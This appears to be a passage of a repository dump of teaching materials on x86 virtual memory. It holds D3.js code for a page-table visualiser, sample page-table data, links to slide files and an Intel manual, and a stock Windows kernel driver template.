nodes[depth] ||= []; 35 | nodes[depth].push(node); 36 | 37 | data.items?.forEach(([_, __, child], n) => { 38 | if (child) { 39 | const childNode = _parseData(child, depth + 1); 40 | links.push( 41 | new GraphLink({ 42 | ctx, 43 | source: { node, outputIndex: n }, 44 | target: { node: childNode }, 45 | }) 46 | ); 47 | } 48 | }); 49 | 50 | return node; 51 | } 52 | 53 | _parseData(data, 0); 54 | return [nodes, links]; 55 | } 56 | /** 57 | * 58 | * @param {GraphNode[][]} nodes 59 | * @param {number} paddingX 60 | * @param {number} paddingY 61 | */ 62 | function layoutNodes(nodes, paddingX, paddingY) { 63 | let currentX = 0; 64 | let currentY = 0; 65 | nodes.forEach((them) => { 66 | const height = them.reduce((s, it) => it.height + s, 0) + paddingY * (them.length - 1); 67 | const dynamicPaddingX = height / 4; 68 | currentX += dynamicPaddingX > paddingX ? dynamicPaddingX : paddingX; 69 | currentY = (innerHeight - height) / 2; 70 | let maxWidth = 0; 71 | them.forEach((it) => { 72 | it.translate(currentX, currentY); 73 | currentY += it.height + paddingY; 74 | if (it.width > maxWidth) maxWidth = it.width; 75 | }); 76 | currentX += maxWidth; 77 | }); 78 | } 79 | 80 | /** 81 | * 82 | * @param {Data} data 83 | */ 84 | function main(data) { 85 | const svg = d3.select("svg").attr("width", innerWidth).attr("height", innerHeight); 86 | const root = svg.append("g"); 87 | const zoom = d3 88 | .zoom() 89 | .on("zoom", (e) => root.attr("transform", e.transform)) 90 | .filter(({ ctrlKey, type, button }) => !ctrlKey && (type === "wheel" || button === 1)); 91 | svg.call(zoom).on("dblclick.zoom", null); 92 | 93 | d3.select(window) 94 | .on("keydown", ({ key }) => { 95 | if (key !== "Delete") return; 96 | GraphLink.deselectAll(); 97 | }) 98 | .on("resize", () => { 99 | svg.attr("width", innerWidth).attr("height", innerHeight); 100 | }); 101 | 102 | const [nodes, links] = parseData(root, data, [ 103 | "#5e4fa2", 104 | "#3288bd", 105 | "#66c2a5", 106 | "#fdae61", 107 | "#d53e4f", 108 | ]); 109 | layoutNodes(nodes, 120, 20); 110 | links.forEach((it) => it.render()); 111 | } 112 | -------------------------------------------------------------------------------- /PageTableViewer/assets/graph-link.js: -------------------------------------------------------------------------------- 1 | class GraphLink { 2 | static linkPath = d3.linkHorizontal(); 3 | 4 | /** 5 | * @type {GraphLink[]} 6 | */ 7 | static selected = []; 8 | 9 | /** 10 | * 11 | * @param {{ 12 | * ctx: d3.Selection 13 | * source: { node: GraphNode, outputIndex: number } 14 | * target: { node: GraphNode } 15 | * }} param0 16 | */ 17 | constructor({ ctx, source, target }) { 18 | this.source = source; 19 | this.target = target; 20 | this._isSelected = false; 21 | 22 | this.root = ctx.append("g").attr("class", "graph-link"); 23 | this.line = this.root.append("path").attr("class", "line"); 24 | this.sourcePoint = this.root.append("circle").attr("class", "point"); 25 | this.targetPoint = this.root.append("circle").attr("class", "point"); 26 | 27 | const handleClick = () => { 28 | this.isSelected = !this.isSelected; 29 | if (this.isSelected) { 30 | GraphLink.selected.push(this); 31 | } else { 32 | const index = GraphLink.selected.indexOf(this); 33 | if (index !== -1) { 34 | GraphLink.selected.splice(index, 1); 35 | } 36 | } 37 | }; 38 | this.sourcePoint.on("click", handleClick); 39 | this.targetPoint.on("click", handleClick); 40 | } 41 | 42 | get isSelected() { 43 | return this._isSelected; 44 | } 45 | 46 | set isSelected(value) { 47 | this._isSelected = value; 48 | if (value) { 49 | this.root.attr("class", "graph-link selected"); 50 | } else { 51 | this.root.attr("class", "graph-link"); 52 | } 53 | } 54 | 55 | render() { 56 | const source = this.source.node.outputs[this.source.outputIndex]; 57 | const target = this.target.node.input; 58 | this.line.attr("d", GraphLink.linkPath({ source, target })); 59 | this.sourcePoint.attr("transform", `translate(${source[0]},${source[1]})`); 60 | this.targetPoint.attr("transform", `translate(${target[0]},${target[1]})`); 61 | } 62 | 63 | static deselectAll() { 64 | GraphLink.selected.forEach((it) => (it.isSelected = false)); 65 | GraphLink.selected = []; 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /PageTableViewer/assets/graph-node.js: -------------------------------------------------------------------------------- 1 | class GraphNode { 2 | static radius = 5; 3 | static headerPadding = 8; 4 | static rowHorizontalPadding = 12; 5 | static rowVerticalPadding = 6; 6 | static keyValueSpace = 12; 7 | static dividerHeight = 2; 8 | 9 | /** 10 | * 11 | * @param {{ 12 | * ctx: d3.Selection; 13 | * title: any; 14 | * items: { key: any, value: any }[] 15 | * color: string 16 | * }} param0 17 | */ 18 | constructor({ ctx, title, items, color }) { 19 | this.x = 0; 20 | this.y = 0; 21 | this.title = title; 22 | this.items = items; 23 | this.color = color; 24 | 25 | /** @type {number[]} */ 26 | this.rowAnchors = []; 27 | this.headerHeight = 0; 28 | 29 | this.root = ctx.append("g").attr("class", "graph-node"); 30 | this.background = this.root.append("rect").attr("class", "background"); 31 | this.headerBackground = this.root.append("path"); 32 | this.headerText = this.root.append("text").text(`${this.title}`).attr("class", "header-text"); 33 | 34 | /** 35 | * @type {{ 36 | * root: d3.Selection; 37 | * key: d3.Selection; 38 | * value: d3.Selection; 39 | * divider?: d3.Selection; 40 | * }[]} 41 | */ 42 | this.rows = items.map(({ key, value }, n) => { 43 | const root = this.root.append("g").attr("class", "row"); 44 | return { 45 | root, 46 | key: root.append("text").text(`${key}`).attr("class", "key"), 47 | value: root.append("text").text(`${value}`).attr("class", "value"), 48 | divider: n === items.length - 1 ? null : root.append("rect").attr("class", "divider"), 49 | }; 50 | }); 51 | 52 | this.render(); 53 | this.updateLinkPoints(); 54 | } 55 | 56 | /** 57 | * 58 | * @param {number} width 59 | * @param {number} height 60 | * @param {boolean} isHeaderOnly 61 | */ 62 | headerPath(width, height, isHeaderOnly) { 63 | const path = d3.path(); 64 | path.moveTo(0, GraphNode.radius); 65 | path.arcTo(0, 0, GraphNode.radius, 0, GraphNode.radius); 66 | path.lineTo(width - GraphNode.radius, 0); 67 | path.arcTo(width, 0, width, GraphNode.radius, GraphNode.radius); 68 | if (isHeaderOnly) { 69 | path.lineTo(width, height - GraphNode.radius); 70 | path.arcTo(width, height, width - GraphNode.radius, height, GraphNode.radius); 71 | path.lineTo(GraphNode.radius, height); 72 | path.arcTo(0, height, 0, height - GraphNode.radius, GraphNode.radius); 73 | } else { 74 | path.lineTo(width, height); 75 | path.lineTo(0, height); 76 | } 77 | path.closePath(); 78 | return path.toString(); 79 | } 80 | 81 | render() { 82 | this.headerText.attr("x", GraphNode.headerPadding).attr("y", GraphNode.headerPadding); 83 | 84 | this.headerHeight = this.headerText.node().getBBox().height + 2 * GraphNode.headerPadding; 85 | 86 | let maxKeyWidth = 0; 87 | let maxValueWidth = 0; 88 | let rowY = this.headerHeight; 89 | this.rows.forEach((it) => { 90 | it.root.attr("transform", `translate(0, ${rowY})`); 91 | it.key.attr("x", GraphNode.rowHorizontalPadding); 92 | 93 | const { width: keyWidth, height: keyHeight } = it.key.node().getBBox(); 94 | const { width: valueWidth, height: valueHeight } = it.value.node().getBBox(); 95 | const rowHeight = Math.max(keyHeight, valueHeight) + 2 * GraphNode.rowVerticalPadding; 96 | 97 | it.key.attr("y", (rowHeight - keyHeight) / 2); 98 | it.value.attr("y", (rowHeight - valueHeight) / 2); 99 | it.divider?.attr("height", GraphNode.dividerHeight)?.attr("y", rowHeight); 100 | 101 | if (keyWidth > maxKeyWidth) maxKeyWidth = keyWidth; 102 | if (valueWidth > maxValueWidth) maxValueWidth = valueWidth; 103 | 104 | this.rowAnchors.push(rowY + rowHeight / 2); 105 | rowY += rowHeight + GraphNode.dividerHeight; 106 | }); 107 | 108 | const maxRowWidth = 109 | this.rows.length > 0 110 | ? maxKeyWidth + GraphNode.keyValueSpace + maxValueWidth + 2 * GraphNode.rowHorizontalPadding 111 | : 0; 112 | this.width = Math.max( 113 | this.headerText.node().getBBox().width + 2 * GraphNode.headerPadding, 114 | maxRowWidth 115 | ); 116 | 117 | this.rows.forEach((it) => { 118 | it.value.attr("x", maxKeyWidth + GraphNode.keyValueSpace + GraphNode.rowHorizontalPadding); 119 | it.divider?.attr("width", this.width); 120 | }); 121 | 122 | this.headerBackground 123 | .attr("d", this.headerPath(this.width, this.headerHeight, this.rows.length === 0)) 124 | .attr("fill", this.color); 125 | 126 | const lastPadding = this.rows.length > 0 ? GraphNode.rowVerticalPadding : 0; 127 | this.height = this.root.node().getBBox().height + lastPadding; 128 | this.background.attr("width", this.width).attr("height", this.height); 129 | } 130 | 131 | updateLinkPoints() { 132 | /** @type {[number, number]} */ 133 | this.input = [this.x, this.y + this.headerHeight / 2]; 134 | /** @type {[number, number][]} */ 135 | this.outputs = this.rowAnchors.map((it) => [this.x + this.width, this.y + it]); 136 | } 137 | 138 | /** 139 | * 140 | * @param {number} x 141 | * @param {number} y 142 | */ 143 | translate(x, y) { 144 | this.x = x; 145 | this.y = y; 146 | this.root.attr("transform", `translate(${this.x}, ${this.y})`); 147 | this.updateLinkPoints(); 148 | } 149 | } 150 | -------------------------------------------------------------------------------- /PageTableViewer/assets/jsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es6", 4 | "checkJs": true 5 | }, 6 | } 7 | -------------------------------------------------------------------------------- /PageTableViewer/assets/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "1.0.0", 3 | "main": "application.js", 4 | "dependencies": { 5 | "@types/d3": "^7.4.0" 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /PageTableViewer/assets/sarasa-mono-sc-bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/PageTableViewer/assets/sarasa-mono-sc-bold.ttf -------------------------------------------------------------------------------- /PageTableViewer/assets/sarasa-mono-sc-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/PageTableViewer/assets/sarasa-mono-sc-regular.ttf -------------------------------------------------------------------------------- /PageTableViewer/data.js: -------------------------------------------------------------------------------- 1 | data = { 2 | title: 'Cr3', 3 | items: [ 4 | ['Value', '0x001AA002'], 5 | ['PPN', '0x000001AA'], 6 | [ 7 | 'L1pt.Pa', 8 | '0x001AA000', 9 | { 10 | title: 'L1pt', 11 | items: [ 12 | [ 13 | '000', 14 | 'Value=0x000B8867', 15 | { title: 'L1pt[000].L2pt', items: [['001', 'Value=0x000B9867']] }, 16 | ], 17 | [ 18 | '255', 19 | 'Value=0x029B3867', 20 | { 21 | title: 'L1pt[255].L2pt', 22 | items: [ 23 | ['000', 'Value=0x029B4867'], 24 | ['002', 'Value=0x029B4867'], 25 | ['332', 'Value=0x029B4867'], 26 | ['452', 'Value=0x029B4867'], 27 | ['492', 'Value=0x029B4867'], 28 | ], 29 | }, 30 | ], 31 | ], 32 | }, 33 | ], 34 | ], 35 | }; 36 | -------------------------------------------------------------------------------- /PageTableViewer/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Page Table Viewer 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /Resources/01.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/Resources/01.pptx -------------------------------------------------------------------------------- /Resources/05.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/Resources/05.pptx -------------------------------------------------------------------------------- /Resources/07.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/Resources/07.pptx -------------------------------------------------------------------------------- /Resources/08.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/Resources/08.pptx -------------------------------------------------------------------------------- /Resources/09.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/Resources/09.pptx -------------------------------------------------------------------------------- /Resources/10.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/Resources/10.pptx -------------------------------------------------------------------------------- /Resources/11.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/Resources/11.pptx -------------------------------------------------------------------------------- /Resources/12.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/Resources/12.pptx -------------------------------------------------------------------------------- /Resources/13.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/Resources/13.pptx -------------------------------------------------------------------------------- /Resources/Intel® 64 and IA-32 Architectures Software Developer’s Manual Combined Volumes:1, 2A, 2B, 2C, 2D, 3A, 3B, 3C, 3D, and 4.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/Resources/Intel® 64 and IA-32 Architectures Software Developer’s Manual Combined Volumes:1, 2A, 2B, 2C, 2D, 3A, 3B, 3C, 3D, and 4.pdf -------------------------------------------------------------------------------- /Resources/KmdKit.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/Resources/KmdKit.zip -------------------------------------------------------------------------------- /VmDriverTemplateV1/VmDriverTemplateV1.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; $safeprojectname$.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System ; TODO: specify appropriate Class 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid 9 | Provider=%ManufacturerName% 10 | CatalogFile=$safeprojectname$.cat 11 | DriverVer= ; TODO: set DriverVer in stampinf property pages 12 | PnpLockdown=1 13 | 14 | [DestinationDirs] 15 | DefaultDestDir = 12 16 | $safeprojectname$_Device_CoInstaller_CopyFiles = 11 17 | 18 | [SourceDisksNames] 19 | 1 = %DiskName%,,,"" 20 | 21 | [SourceDisksFiles] 22 | $projectname$.sys = 1,, 23 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames 24 | 25 | ;***************************************** 26 | ; Install Section 27 | ;***************************************** 28 | 29 | [Manufacturer] 30 | %ManufacturerName%=Standard,NT$ARCH$ 31 | 32 | [Standard.NT$ARCH$] 33 | %$safeprojectname$.DeviceDesc%=$safeprojectname$_Device, Root\$safeprojectname$ ; TODO: edit hw-id 34 | 35 | [$safeprojectname$_Device.NT] 36 | CopyFiles=Drivers_Dir 37 | 38 | [Drivers_Dir] 39 | $projectname$.sys 40 | 41 | ;-------------- Service installation 42 | [$safeprojectname$_Device.NT.Services] 43 | AddService = $safeprojectname$,%SPSVCINST_ASSOCSERVICE%, $safeprojectname$_Service_Inst 44 | 45 | ; -------------- $safeprojectname$ driver install sections 46 | [$safeprojectname$_Service_Inst] 47 | DisplayName = %$safeprojectname$.SVCDESC% 48 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER 49 | StartType = 3 ; SERVICE_DEMAND_START 50 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL 51 | ServiceBinary = %12%\$safeprojectname$.sys 52 | 53 | ; 54 | ;--- $safeprojectname$_Device Coinstaller installation ------ 55 | ; 56 | 57 | [$safeprojectname$_Device.NT.CoInstallers] 58 | AddReg=$safeprojectname$_Device_CoInstaller_AddReg 59 | CopyFiles=$safeprojectname$_Device_CoInstaller_CopyFiles 60 | 61 | [$safeprojectname$_Device_CoInstaller_AddReg] 62 | HKR,,CoInstallers32,0x00010000, "WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller" 63 | 64 | [$safeprojectname$_Device_CoInstaller_CopyFiles] 65 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll 66 | 67 | [$safeprojectname$_Device.NT.Wdf] 68 | KmdfService = $safeprojectname$, $safeprojectname$_wdfsect 69 | [$safeprojectname$_wdfsect] 70 | KmdfLibraryVersion = $KMDFVERSION$ 71 | 72 | [Strings] 73 | SPSVCINST_ASSOCSERVICE= 0x00000002 74 | ManufacturerName="" ;TODO: Replace with your manufacturer name 75 | DiskName = "$safeprojectname$ Installation Disk" 76 | $safeprojectname$.DeviceDesc = "$safeprojectname$ Device" 77 | $safeprojectname$.SVCDESC = "$safeprojectname$ Service" 78 | -------------------------------------------------------------------------------- /VmDriverTemplateV1/VmDriverTemplateV1.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | -------------------------------------------------------------------------------- /VmDriverTemplateV1/main.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/VmDriverTemplateV1/main.c -------------------------------------------------------------------------------- /VmDriverTemplateV1/win10.c: -------------------------------------------------------------------------------- 1 | #include "win10.h" 2 | -------------------------------------------------------------------------------- /VmDriverTemplateV1/win10.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | -------------------------------------------------------------------------------- /VmDriverTemplateV1/x64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | --------------------------------------------------------------------------------